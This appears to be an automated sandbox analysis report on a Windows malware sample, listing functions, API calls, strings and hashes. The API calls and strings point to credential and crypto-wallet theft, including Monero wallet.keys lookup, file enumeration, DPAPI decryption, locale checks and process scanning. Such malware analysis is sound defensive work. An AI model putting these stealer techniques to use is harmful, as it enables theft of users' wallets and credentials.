Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .v>~$0r/$4'Gk$CF{$C\`$Qd$YQ<$a&n$q#zB
API String ID: 0-3321932839
Opcode ID: 7dbbe45b65a982a2dc1055af29a1a86fc881a20b4be650756c30c91d43360494
Instruction ID: 4d90128637c36b9c962f9b707912ee112e280b47cdcc22ebe14bff668f08c976
Opcode Fuzzy Hash: 7dbbe45b65a982a2dc1055af29a1a86fc881a20b4be650756c30c91d43360494
Instruction Fuzzy Hash: 87B20AF360C2049FE3046E2DEC85A7AB7D9EFD4720F1A853DEAC4C7744E93598058696

Function 007D49D5 Relevance: 11.6, Strings: 8, Instructions: 1616COMMON

Download Yara Rule

Strings

x#td, xrefs: 007D52A6, 007D52B2, 007D53D0, 007D5424
O<ww, xrefs: 007D4B3E
/G5, xrefs: 007D4DD5
vL/{, xrefs: 007D572E
>{}, xrefs: 007D4BE7
PA7, xrefs: 007D5137
CA[e, xrefs: 007D57C7
{=s, xrefs: 007D52BF

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >{}$/G5$CA[e$O<ww$PA7$vL/{$x#td${=s
API String ID: 0-3150352856
Opcode ID: 47c6e93481a51081abff104e8fbb60d24178ae6cc5659198aa22b93001d09270
Instruction ID: 32dfd952fe471e7d546efa0cfc136643145d96fa83b204e6424388b826c3b112
Opcode Fuzzy Hash: 47c6e93481a51081abff104e8fbb60d24178ae6cc5659198aa22b93001d09270
Instruction Fuzzy Hash: CFB2E7F3A0C614AFE304AE2DDC8577AB7E9EF94320F16453DEAC4C7744EA3598018696

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 7596f6bab02a8893db2d538185692abed2554d8effdd32d34ab9a344058ae76c
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 7596f6bab02a8893db2d538185692abed2554d8effdd32d34ab9a344058ae76c
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 0040E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

\*.*, xrefs: 0040E44D

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: f3dcec5693a34f3f639a4326c9ab4e832b2dce632252e8eb0e6dc656e0f1fa1e
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: f3dcec5693a34f3f639a4326c9ab4e832b2dce632252e8eb0e6dc656e0f1fa1e
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 007CC1ED Relevance: 9.1, Strings: 6, Instructions: 1620COMMON

Download Yara Rule

Strings

]X, xrefs: 007CCD7F
sg?_, xrefs: 007CD555
*o, xrefs: 007CC703
jG_, xrefs: 007CC445
Z6], xrefs: 007CC8DB
m.>=, xrefs: 007CC5B8

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *o$Z6]$jG_$m.>=$sg?_$]X
API String ID: 0-3931413294
Opcode ID: 8bbb84bb6aaf109e494c0f5fefb271528db971104d2b73c5b11516cedf809f00
Instruction ID: 6c8a1aad88b9cc77a1a45e4a294c16866969c45720f22bc4be6f59a9e2aac67e
Opcode Fuzzy Hash: 8bbb84bb6aaf109e494c0f5fefb271528db971104d2b73c5b11516cedf809f00
Instruction Fuzzy Hash: 2AB2F7F350C2049FE304AE29EC8567ABBE9EFD4720F1A893DEAC487744E63558058697

Function 00409AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Strings

N@, xrefs: 00409AD4, 00409AE1, 00409AF9, 00409B18, 00409AE4, 00409B1B

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N@
API String ID: 4291131564-4229412743
Opcode ID: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction ID: b446a55777cc1d1e4698a5b325ac1ac72e8f4b69ff9cac50ab15cfe2fa8c9284
Opcode Fuzzy Hash: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction Fuzzy Hash: 4811A4B4240208BFEB10CFA4DC95FAA77B5FB89714F208059FA159B3D0C776A901CB54

Function 007D7E76 Relevance: 7.9, Strings: 5, Instructions: 1629COMMON

Download Yara Rule

Strings

]SZ, xrefs: 007D8888
yo, xrefs: 007D8217
'B#, xrefs: 007D7F6E
(W^, xrefs: 007D8FF9
`(ck, xrefs: 007D86AC

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'B#$`(ck$(W^$]SZ$yo
API String ID: 0-3128703432
Opcode ID: 35c74f234dbade45420e1dcbbad3033f90fbd2316ae1de452c65449dcb404173
Instruction ID: 85d02d3626706ca22bcd0319d2293e2f104787a68d8be060f9650a37006f9a2d
Opcode Fuzzy Hash: 35c74f234dbade45420e1dcbbad3033f90fbd2316ae1de452c65449dcb404173
Instruction Fuzzy Hash: EDB2E5F360C200AFE704AE2DEC8567ABBE9EF98760F16453DE6C4C3744E63598058697

Function 0040C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0040C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
lstrcat.KERNEL32(?,00420B46), ref: 0040C943
lstrcat.KERNEL32(?,00420B47), ref: 0040C957
lstrcat.KERNEL32(?,00420B4E), ref: 0040C978

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 0e27517af7786fde1072e19809729dc6fc504a642fc4fdd406e8db63305c5b31
Instruction ID: 8fce10467124e2efb13c7dc6e204b966083c6881a17acb566ee419f20f6b0b4d
Opcode Fuzzy Hash: 0e27517af7786fde1072e19809729dc6fc504a642fc4fdd406e8db63305c5b31
Instruction Fuzzy Hash: AD41A0B9D4421AEFDB10DFE0DD89BEEB7B8BB44304F1042A9E509A62C0D7745A84CF95

Function 00416920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0041696C
sscanf.NTDLL ref: 00416999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004169B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004169C0
ExitProcess.KERNEL32 ref: 004169DA

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: aadf5676f7027d7b9e1150d64898f7b292d6df214c2b0f712edb9653bf63e1a7
Instruction ID: bc3f4e88d18d0d52d27c53656958a280d832632e1993de176dacc6bdaed8f038
Opcode Fuzzy Hash: aadf5676f7027d7b9e1150d64898f7b292d6df214c2b0f712edb9653bf63e1a7
Instruction Fuzzy Hash: A421BAB5D14208AFDF04EFE4D9459EEB7B6FF48300F04852EE506A3250EB349645CB69

Function 00407240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0040724D
RtlAllocateHeap.NTDLL(00000000), ref: 00407254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00407281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 004072A4
LocalFree.KERNEL32(?), ref: 004072AE

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction ID: ec186dc502c88c98e3638293fff085d95328f9e4ca1f8ca95b137b7d6c986ae9
Opcode Fuzzy Hash: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction Fuzzy Hash: 900100B5A80208BBEB10DFD4DD45F9E77B9EB44704F104159FB05BA2C0D674AA018B66

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 007DB399 Relevance: 6.6, Strings: 4, Instructions: 1627COMMON

Download Yara Rule

Strings

y?oY, xrefs: 007DC3D7
Px{^, xrefs: 007DC4F6
>g6, xrefs: 007DB596
k:=, xrefs: 007DB66B

Memory Dump Source

Source File: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
